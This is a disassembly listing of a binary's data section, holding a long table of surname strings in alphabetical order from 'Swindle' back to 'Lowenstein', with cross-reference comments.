aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E630o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E62Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E628o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E624o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E620o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E61Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E618o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E614o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E610o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E60Co
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E608o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E604o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E600o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5FCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5F8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5F4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5F0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5ECo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5E8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5E4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5E0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5DCo
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5D8o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E5D4o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E5D0o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E5CCo
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E5C4o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E5C0o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E5BCo
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E5B8o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E5B4o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E5B0o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E5ACo
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E5A8o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E5A4o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E5A0o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E59Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E598o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E594o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E590o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E58Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E588o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E584o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E580o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E57Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E578o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E574o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E570o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E56Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E568o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E564o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E560o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E55Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E558o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E554o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E550o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E54Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E548o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E544o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E540o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E53Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E538o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E534o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E530o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E52Co
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E528o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E524o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E520o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E51Co
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E518o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E514o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E510o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E50Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E508o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E504o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E500o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4FCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4F8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4F4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4F0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4ECo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4E8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4E0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4DCo
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4D8o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E4D4o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E4D0o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E4CCo
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E4C8o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E4C4o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E4C0o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E4BCo
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E4B8o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E4B4o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E4B0o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E4ACo
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E4A4o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E4A0o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E49Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E498o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E494o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E490o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E48Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E488o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E484o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E480o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E47Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E478o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E474o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E470o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E46Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E468o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E464o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E460o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E45Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E458o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E454o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E450o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E44Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E448o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E444o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E440o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E43Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E438o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E434o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E430o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E42Co
aRush		db 'Rush',0             ; DATA XREF: ___:0042E428o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E424o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E420o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E41Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E418o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E414o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042E410o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E40Co
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E408o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E404o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E400o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3FCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3F8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3F4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3F0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3ECo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3E8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3E4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3E0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3DCo
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3D8o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E3D4o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E3D0o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E3CCo
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E3C8o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E3C4o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E3C0o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E3BCo
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E3B8o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E3B0o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E3ACo
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E3A8o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E3A0o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E39Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E398o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E394o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E390o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E38Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E388o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E384o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E380o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E37Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E378o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E374o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E370o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E36Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E368o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E364o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E360o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E35Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E358o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E354o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E350o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E34Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E348o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E344o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042E340o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E33Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E338o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E334o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E330o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E32Co
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E328o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E324o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E320o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E31Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E318o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E314o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E310o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E30Co
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E308o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E304o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E300o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2F8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2F0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2ECo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2E8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2E4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2E0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2DCo
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2D8o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E2D4o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E2D0o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E2CCo
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E2C8o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E2C4o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E2C0o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E2BCo
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E2B8o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E2B0o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E2ACo
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E2A8o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E2A4o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E2A0o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E29Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E298o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E294o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E290o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E28Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E288o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E284o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E280o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E27Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E278o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E274o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E270o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E26Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E268o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E264o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E260o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E25Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E258o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E254o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E250o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E24Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E248o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E244o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E240o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E23Co
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E238o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E234o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E230o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E22Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E228o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E224o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E220o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E21Co
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E218o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E214o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E210o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E20Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E208o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E204o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E200o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1FCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1F8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1F4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1F0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1ECo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1E8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1E4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1E0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1DCo
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1D8o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E1D4o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E1D0o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E1CCo
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E1C8o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E1C4o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E1C0o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E1BCo
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E1B8o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E1B4o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E1ADo
aMorani		db 'Morani',0
		align 10h
aMooredech_	db 'MooreDeCh.',0
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:loc_42E1A1o
		align 4
aMonque		db 'Monque',0
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E19Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E198o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E194o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E190o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E18Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E188o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E184o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E180o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E17Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E178o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E174o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E170o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E16Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E168o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E164o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E160o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E15Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E158o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E154o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E150o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E14Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E148o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E144o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E140o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E13Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E138o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E134o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E130o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E12Co
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E128o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E124o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E120o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E11Co
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E118o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E114o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E110o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E10Co
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E108o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E104o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E100o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0FCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0F8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0F4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0F0o
aMay		db 'May',0              ; DATA XREF: ___:0042E0ECo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0E8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0E4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0E0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0DCo
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0D8o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E0D4o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E0D0o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E0CCo
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E0C8o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E0C0o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E0BCo
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E0B8o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E0B4o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E0B0o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E0ACo
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E0A8o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E0A4o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E0A0o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E09Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E098o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E094o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E090o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E08Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E088o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E084o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E080o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E078o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E074o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E070o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E06Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E068o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E064o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E060o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E05Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E058o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E054o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E050o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E04Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E048o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E044o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E040o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E03Co
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E038o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E034o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E030o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E02Co
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E028o
		align 4
